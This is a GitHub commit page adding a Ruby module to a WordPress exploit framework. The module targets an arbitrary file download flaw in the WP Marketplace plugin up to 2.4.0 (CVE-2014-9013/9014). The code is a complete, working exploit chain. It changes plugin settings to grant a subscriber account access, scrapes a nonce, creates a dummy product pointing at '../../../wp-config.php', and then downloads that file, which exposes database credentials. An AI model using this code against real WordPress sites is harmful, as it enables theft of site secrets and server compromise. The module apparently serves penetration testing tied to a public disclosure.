Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 5c3a185

Browse files
committed
Add WP Marketplace <= 2.4 file download
1 parent 6725775 commit 5c3a185

File tree

1 file changed

+139
-0
lines changed

1 file changed

+139
-0
lines changed
Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
class Wpxf::Auxiliary::WpMarketplaceV24FileDownload < Wpxf::Module
2+
include Wpxf::WordPress::FileDownload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP Marketplace <= 2.4.0 Arbitrary File Download',
9+
desc: %(
10+
This module exploits a vulnerability which allows registered users of any level
11+
to download any arbitrary file accessible by the user the web server is running as.
12+
),
13+
author: [
14+
'Kacper Szurek', # Disclosure
15+
'Rob Carr <rob[at]rastating.com>' # WPXF module
16+
],
17+
references: [
18+
['WPVDB', '7861'],
19+
['CVE', '2014-9013'],
20+
['CVE', '2014-9014'],
21+
['URL', 'http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html']
22+
],
23+
date: 'Mar 21 2015'
24+
)
25+
26+
register_options([
27+
StringOption.new(
28+
name: 'user_role',
29+
desc: 'The role of the user account being used for authentication',
30+
default: 'Subscriber',
31+
required: true
32+
)
33+
])
34+
end
35+
36+
def check
37+
check_plugin_version_from_changelog('wpmarketplace', 'readme.txt', '2.4.1')
38+
end
39+
40+
def requires_authentication
41+
true
42+
end
43+
44+
def default_remote_file_path
45+
'../../../wp-config.php'
46+
end
47+
48+
def working_directory
49+
'wp-content/plugins/wpmarketplace'
50+
end
51+
52+
def modify_plugin_permissions
53+
res = execute_post_request(
54+
url: full_uri,
55+
body: {
56+
'action' => 'wpmp_pp_ajax_call',
57+
'execute' => 'wpmp_save_settings',
58+
'_wpmp_settings[user_role][]' => datastore['user_role'].downcase
59+
},
60+
cookie: session_cookie
61+
)
62+
63+
unless res && res.code == 200 && res.body =~ /Settings Saved Successfully/i
64+
emit_error 'Failed to modify the plugin permissions'
65+
return false
66+
end
67+
68+
true
69+
end
70+
71+
def fetch_ajax_nonce
72+
res = execute_post_request(
73+
url: full_uri,
74+
body: {
75+
'action' => 'wpmp_pp_ajax_call',
76+
'execute' => 'wpmp_front_add_product'
77+
},
78+
cookie: session_cookie
79+
)
80+
81+
return nil if !res || res.code != 200
82+
nonce = res.body[/name="__product_wpmp" value="([^"]+)"/i, 1]
83+
84+
unless nonce
85+
emit_error 'Failed to acquire a download nonce'
86+
emit_error res.inspect, true
87+
return false
88+
end
89+
90+
nonce
91+
end
92+
93+
def create_product
94+
res = execute_post_request(
95+
url: full_uri,
96+
body: {
97+
'__product_wpmp' => @nonce,
98+
'post_type' => 'wpmarketplace',
99+
'id' => @download_id,
100+
'wpmp_list[base_price]' => '0',
101+
'wpmp_list[file][]' => remote_file
102+
},
103+
cookie: session_cookie
104+
)
105+
106+
unless res && (res.code == 200 || res.code == 302)
107+
emit_error 'Failed to create dummy product'
108+
emit_error res.inspect, true
109+
return false
110+
end
111+
112+
true
113+
end
114+
115+
def before_download
116+
return false unless modify_plugin_permissions
117+
emit_info 'Modified plugin permissions successfully', true
118+
119+
@nonce = fetch_ajax_nonce
120+
return false unless @nonce
121+
122+
emit_info "Acquired nonce \"#{@nonce}\"", true
123+
@download_id = "1#{Utility::Text.rand_numeric(5)}"
124+
125+
create_product
126+
end
127+
128+
def download_request_method
129+
:post
130+
end
131+
132+
def downloader_url
133+
full_uri
134+
end
135+
136+
def download_request_params
137+
{ 'wpmpfile' => @download_id }
138+
end
139+
end

0 commit comments

Comments
 (0)